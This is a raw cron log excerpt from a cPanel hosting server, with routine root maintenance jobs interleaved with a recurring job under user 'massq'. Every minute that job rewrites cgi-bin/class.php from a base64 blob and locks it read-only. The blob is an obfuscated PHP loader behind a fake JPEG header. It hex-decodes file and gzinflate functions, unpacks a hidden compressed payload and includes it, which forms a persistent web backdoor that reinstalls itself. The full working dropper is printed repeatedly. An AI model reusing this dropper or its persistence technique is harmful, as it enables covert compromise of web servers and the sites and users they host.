Sep  4 01:40:01 server CROND[1956]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:40:01 server CROND[1959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:40:01 server CROND[1961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:41:01 server CROND[2867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:41:01 server CROND[2866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:41:01 server CROND[2868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:42:01 server CROND[3346]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 01:42:01 server CROND[3345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:42:01 server CROND[3348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:42:01 server CROND[3347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:43:01 server CROND[3716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:43:01 server CROND[3718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:43:01 server CROND[3720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:44:01 server CROND[4081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:44:01 server CROND[4082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:44:01 server CROND[4084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:45:01 server CROND[4477]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:45:01 server CROND[4479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:45:01 server CROND[4481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:45:01 server CROND[4483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:45:01 server CROND[4484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:45:01 server CROND[4485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:45:01 server CROND[4482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:46:01 server CROND[5334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:46:01 server CROND[5335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:46:01 server CROND[5336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:47:01 server CROND[5856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:47:01 server CROND[5857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:47:01 server CROND[5858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:48:01 server CROND[6234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:48:01 server CROND[6235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:48:01 server CROND[6236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:49:01 server CROND[6609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:49:01 server CROND[6610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:49:01 server CROND[6611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:50:01 server CROND[7168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:50:01 server CROND[7170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:50:01 server CROND[7172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:50:01 server CROND[7174]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:50:01 server CROND[7173]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:50:01 server CROND[7176]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 01:50:01 server CROND[7177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:50:01 server CROND[7171]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:50:01 server CROND[7179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:51:01 server CROND[8032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:51:01 server CROND[8033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:51:01 server CROND[8034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:52:02 server CROND[8511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:52:02 server CROND[8512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:52:02 server CROND[8513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:53:01 server CROND[8886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
